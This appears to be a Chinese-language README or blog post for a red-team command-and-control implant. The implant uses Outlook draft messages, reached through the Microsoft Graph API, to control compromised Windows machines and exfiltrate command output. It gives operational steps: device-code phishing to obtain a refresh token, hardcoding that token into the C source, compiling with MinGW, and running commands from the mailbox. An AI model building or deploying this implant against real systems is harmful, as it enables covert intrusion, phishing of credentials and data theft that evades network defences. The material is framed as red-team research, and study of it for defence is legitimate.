基于Azure Outlook的命令与控制工具,利用Microsoft Graph API进行C2通信和数据外泄。
通过Outlook邮箱远程控制被入侵的Windows设备。
Elastic安全实验室发现活跃入侵活动正在野外使用SIESTAGRAPH。SIESTAGRAPH利用Microsoft Graph API通过Outlook和OneDrive进行命令与控制。请查看下方关于Azure Outlook C2通信的优秀恶意软件分析博客。


如果您有关于类似项目的信息、关于此TTP被APT/勒索软件组织在野外使用的CTI情报、防御建议、针对红队研究人员对Azure C2威胁模拟的建议,或者其他任何值得补充到本博客/README的内容,请与我联系或提交拉取请求。谢谢!
本项目包含一个植入体,它会向攻击者控制的Azure Outlook邮箱发出信标,该邮箱充当命令与控制(C2)中心,实现对被入侵设备的远程控制。攻击者C2邮箱的Azure刷新令牌在编译时硬编码到植入体中。当在Windows设备上执行时,植入体通过Microsoft Graph API访问攻击者的草稿邮箱。植入体读取攻击者草稿邮箱中的命令指令,在本地执行指令,然后通过创建新的草稿消息将命令输出返回给攻击者。植入体重复这种从攻击者邮箱被远程控制的行为,直到植入体的宿主进程退出。
大约半年前,我开始了在Trustwave的SpiderLabs红队工作。在一次渗透测试中,我有幸与传奇人物Stephan Borosh (rvrsh3ll|@424f424f)合作。Steve和Matt Kingstone教会了我关于Azure域名前置的所有知识,我惊叹于命令与控制流量竟然可以通过HTTPS使用诸如ajax.microsoft.com这样的合法域名进行外传,甚至使用了微软的TLS证书!但不幸的是,我刚开始红队工作时,Azure上的域名前置技术已经消亡。尽管Azure域名前置已死,但Azure上仍有许多优秀的红队技术可以使用。
Steve向我介绍了Azure设备代码钓鱼。在此期间,我深入研究了Azure和Microsoft Graph API用于红队攻击的方法。我们基于Dr. Nestori Syynimaa (@DrAzureAD)的优秀工作创建了TokenTactics工具,并撰写了博客《设备代码钓鱼的艺术》,如果您对我们的方法感兴趣可以查阅。
在创建TokenTactics并实验MS Graph API的过程中,我发现可以利用Microsoft Graph API作为C2通道。使用MS Graph API作为C2通道的方法有很多种,我并非第一个发现这一点的人。VX-Underground(由@smelly__vx创建,他也是HellsGate技术的创建者/发布者)上个月发布消息称,朝鲜高级持续威胁(APT)组织"InkySquid"(又名ScarCruft和APT37)正在使用Microsoft Graph API进行C2操作。在通过Twitter和LinkedIn发布本项目的预告后,多位DFIR专业人士评论称,这种使用Microsoft Graph API进行C2操作的技术正在被勒索软件组织在野外积极使用,时间可追溯至数月前。
在红队渗透测试期间,我曾尝试让Cobalt Strike通过MS Graph API作为C2通道工作,但未能成功,不过这仍是未来的目标。让它在Cobalt Strike上工作的难点在于,MS Graph API使用两种令牌进行通信。第一种是刷新令牌,最长有效期为90天。第二种是访问令牌,是临时令牌,有效期约一小时。直接与MS Graph API通信需要通过访问令牌进行身份验证。一旦访问令牌过期,可以使用刷新令牌获取新的访问令牌。由于我仍处于红队和Cobalt Strike开发的入门阶段,我无法弄清楚如何配置Cobalt Strike的Malleable C2配置文件来持续获取新访问令牌,并将这些不断变化的访问令牌发送到HTTPS信标请求的Authorization头中。在Twitter上发布预告后,Joe Vest、Alfie Champion和其他社区精英给了我极好的指导,让我知道如何让它与Cobalt Strike协同工作!希望未来能有本项目的Cobalt Strike后续版本 ;)

graph.microsoft.com进行交互。WinInet动态链接库进行HTTPS通信。cmd、sleep、exit
cmd:获取元命令后的字符串,并通过生成子进程执行该命令。sleep:获取元命令后的单词,并将植入体的休眠时间改为指定的值(毫秒)。exit:退出/终止宿主进程。cmd,植入体将创建一个子进程来执行命令,子进程将其标准输出写入管道,命令执行后子进程退出,宿主植入进程通过管道读取子进程的输出。PS C:\Users\boku\Desktop\TokenTactics-main> Import-Module .\TokenTactics.psd1
PS C:\Users\boku\Desktop\TokenTactics-main> Get-TenantID -domain theharvester.world
1d5551a0-f4f2-4101-9c3b-394247ec7e08
azureOutlookC2.c文件中的char tenantId[]变量中。# 将TokenTactics模块导入PowerShell会话
PS C:\Users\boku> cd .\TokenTactics
PS C:\Users\boku\TokenTactics> Import-Module .\TokenTactics.psd1
# 启动设备代码钓鱼请求以获取'user_code'
PS C:\Users\boku\> Get-AzureToken -Client Graph
user_code : ERDVDCNHH
user_code,并使用C2邮箱用户登录。azureOutlookC2.c文件中的char refreshToken[]变量中。void main() {
// 变量
char refreshToken[] = "0.AXwAoFFVHfL0AUGcOzlCR-x-CNYOWdOzUgJBrv-q0ikqsBx8ACA.AgABAAAAAA...
// ^在此处放入您的刷新令牌并编译
azureOutlookC2.c。# 使用x64 MinGW编译:
bobby.cooke$ cat compile.sh
x86_64-w64-mingw32-gcc -m64 -mwindows -Os azureOutlookC2.c -o azureOutlookC2.exe -lwininet
bobby.cooke$ bash compile.sh
azureOutlookC2.exePE文件。outlook.office.com,从您的邮箱控制运行植入体的Windows设备。